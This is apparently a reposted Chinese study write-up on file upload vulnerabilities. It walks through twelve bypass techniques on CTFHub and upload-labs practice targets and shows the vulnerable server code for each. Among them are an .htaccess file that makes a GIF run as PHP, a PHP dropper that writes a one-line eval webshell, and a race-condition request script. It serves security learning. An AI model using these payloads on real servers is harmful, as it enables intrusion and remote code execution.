1
原理
利用服务端代码对文件上传路径变量过滤不严格将可执行的文件上传到一个到服务器中 ,再通过URL去访问以执行恶意代码。
2
利用
1、上传webshell:一句话木马或者以及经过免杀的webshell
2、钓鱼攻击:上传带有恶意代码的文件诱导用户或管理员下载
3、拒绝服务DoS:上传超大文件占用服务器带宽和资源
3
绕过
1.前端绕过
原理:在文件上传点处只进行了前端检测,在后端没有检查就将文件放入服务器中
绕过:将文件上传时修改文件后缀,绕过前端检查,之后进行抓包获取数据包在将上传的文件后缀修改成PHP或ASP
实践:选择的题目是ctfhub的js前端验证
分析源代码
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}
这里可以看到只能上传.jpg、png、gif的文件格式后缀,所以先将文件后缀改成这几个之后再进行文件上传抓包。
上传php文件上传失败
上传jpg文件并抓包
上传成功
这里可以看到文件的路径使用蚁剑进行连接
2..htaccess上传
原理:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
绕过:在服务器上设置了黑名单过滤,将php等后缀进行后端检测无法上传恶意代码,但没有将这个.htaccess文件进行过滤,导致用户上传配置文件最终重定向文件使得其他文件后缀被当成php后缀执行
实践:ctfhub的文件上传关卡
创建一个.htaccess文件
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
上传.htaccess文件
上传成功在上传一个evil.gif文件,名字是这个,但内容是之前的一句话木马
上传这个文件
然后用蚁剑连接这个文件就可以了,分析文件源代码。
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
if (!in_array($ext, $blacklist)) {
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "<script>alert('文件类型不匹配')</script>";
}
}
这里可以看到过滤了好多文件后缀,因此我们上传一个配置文件然后将别的文件后缀当成我们想要执行的文件。
3.MIME绕过
原理:服务器代码判断$FILES[”file“]["type"]是不是图片格式(image/jpeg
、image/png
、image/gif
),如果不是,则不允许上传该文件。
绕过:将上传的文件进行抓包,在burp中修改MIME属性从而绕过服务端验证,但文件保存之后不会因为MIME属性的异常导致文件无法执行
实践:ctfhub
文件上传一个webshell.php之后进行抓包
这里可以看到这里的文件类型是application/octet-stream
因此修改这里就可以进行上传
上传成功
使用蚁剑连接
查看源代码进行分析
if (!empty($_POST['submit'])) {
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) {
echo "<script>alert('文件类型不正确')</script>";
} else {
$name = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
}
}
这里可以看到验证的是$FILES['file']['type']这个的属性所以只需要修改那个点就可以了。
4. 文件头检查
原理:在上传文件之后,服务端会提取文件的文件头,在jpg文件中有文件头0xFFD8FF,在png中有文件头0x89504E470D0A1A0A,在GIF中有文件头GIF89a
绕过:只要在上传的文件中添加这个文件头就可以了
实践:ctfhub
创建一个新的webshell,然后在webshell中添加GIF的文件头
然后上传这个文件并拦截包,顺便修改一下文件类型
上传成功,蚁剑连接
查看并分析源代码
if (!empty($_POST['submit'])) {
if (!$_FILES['file']['size']) {
echo "<script>alert('请添加上传文件')</script>";
} else {
$file = fopen($_FILES['file']['tmp_name'], "rb");
$bin = fread($file, 4);
fclose($file);
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/jpg", "image/png", "image/gif"])) {
echo "<script>alert('文件类型不正确, 只允许上传 jpeg jpg png gif 类型的文件')</script>";
} else if (!in_array(bin2hex($bin), ["89504E47", "FFD8FFE0", "47494638"])) {
echo "<script>alert('文件错误')</script>";
} else {
$name = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
}
}
}
可以看到这里是有两个点进行验证的,一个是文件类型进行验证,一个是读取文件前四个字节,确认文件的文件头是特定字节的。这里我是直接在文本中添加了一个GIF89a,这个字符串对应的二进制内容就是47494638,如果要伪造别的就可以使用winhex或者其他二进制编辑器在webshell中添加四个字节
5. 00截断
原理:当PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态,由于00代表结束符,所以会把00后面的所有字符删除
绕过:在上传文件的时候,因为把常见的php后缀过滤了,因此在php后面添加%00.jpg之类的后缀,在解析的时候只会把上传的文件当成jpg文件,但在保存文件的时候由于解析错误,就会把%00后面的字符串删除
实践:ctfhub
创建%00的文件
然后上传这个文件,这里要修改一下road这里为webshell.php%00
上传成功之后就是访问upload/webshell.php就可以,在这里只会显示上传成功但没返回上传路,可以先上传正常的然后进行拼接后面上传的webshell就可以了。
查看并分析源代码
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
这里是php版本低的原因所以没什么看的源代码。
6. 双写绕过
原理:在后端检查的时候,如果检测到了php或者其他危险字符,在保存文件的时候会将这些字符进行替换成空字符,因此导致保存文件失效
绕过:将文件后缀进行双写绕过
实践:ctfhub
上传文件修改下面两个地方
修改之后
上传成功
使用蚁剑连接查看源代码
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
}
这里可以看到名字这里是包黑名单中的字符替换成空导致我们可以双写绕过。
7、php大小写绕过
原理:在服务器后台php后缀这个被过滤了,但其部分字母大写导致未被过滤,所以可以上传例如:Php、pHp来绕过上传,同时在后台会把这些部分字母大写的后缀当成php文件来解析
绕过:上传Php或pHp文件来进行绕过
实战:upload-labs第六关
查看提示可以看到
这里只禁止了.pHp这个大小写后缀没有限制其他的所以可以上传.Php后缀。
可以看到上传成功了
这样就可以了,也可以用蚁剑去连接,这里我们选择看源码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里可以看到过滤了很多,但没有过滤其他大小写的后缀,主要是这里没有函数将所有后缀变为小写字符。
8. 空格绕过
原理:在验证过程中没有使用trim()去除空格,可以使用空格绕过黑名单,因为在php中php≠php“空格”所以导致绕过
绕过:将php的后缀改成php
实战:upload-labs第七关
上传成功
9、Nginx畸形解析
原理:产生条件是 php.ini 里的cgi.fix_pathinfo=1,在这种情况下,当 Nginx 遇到文件路径/test.png/x.php,若/test.png/x.php不存在,则会去掉最后的/x.php,然后判断/test.php是否存在,若存在,则把/test.png当做文件/test.png/x.php解析
绕过:上传一个test.jpg的文件,然后访问的是test.jpg/shell.php,这样就会把test.jpg当作shell.php来使用
实战:这里没办法实战了,我还没遇到过这样的题目,然后我自己要搭建靶机也不知道什么原因也没用了
10、windows文件名解析
原理:利用操作系统对文件命名规则进行绕过,在window操作系统中不允许文件名后缀有“.”、“ ”、“. .”、“:”、"::$DATA"这些后缀的,就会自动给他删除,从而变成正常的php后缀名
绕过:在上传的文件后面添加上这些后缀
实战:上传一个pass9.php::$DATA文件
然后就可以了绕过后端检查连接蚁剑了
11、图片马
原理:上传一个带有一句话木马的图片文件,本质上是有一个文件包含漏洞,然后将这个带有木马的图片文件包含在了php代码中,然后图片中有php代码从而导致执行木马。
实战:先创建两个文件,一个图片文件,一个一句话木马,在windows系统上就可以创造一个简单的图片马。
注意这里不能用powershell,得用cmd
这样就制作好了图片马,然后将这个上传上去,在使用一个文件包含从而利用图片马
12、条件竞争
原理:就是在我们上传一个文件之后,这个文件会被保存在目录下,然后在对文件进行检查,如果文件检查通过就可以保存,如果不通过就会删除
绕过:这里就可以上传一个php文件,然后php会执行其中的代码,这个代码的用处是创建一个新的文件,这个文件就是一个一句话木马,在连接这个代码
实战:upload-18
根据代码审计可以看到,这里是先执行了
move_uploaded_file($temp_file, $upload_file)
从而先将这个文件上传上去了,在进行检查后,发现php后缀不符合从而删除文件。
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
因此可以写一个python脚本
import requests
url = "http://upload-labs.com/upload-labs/upload/pass18.php"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
就代表执行成功pass18.php的代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
这样就完成了shell.php代码的生成,这个代码不会被检查所以木马上传成功。
看雪ID:xcisme
https://bbs.kanxue.com/user-home-997591.htm
#
原文始发于微信公众号(看雪学苑):文件上传学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论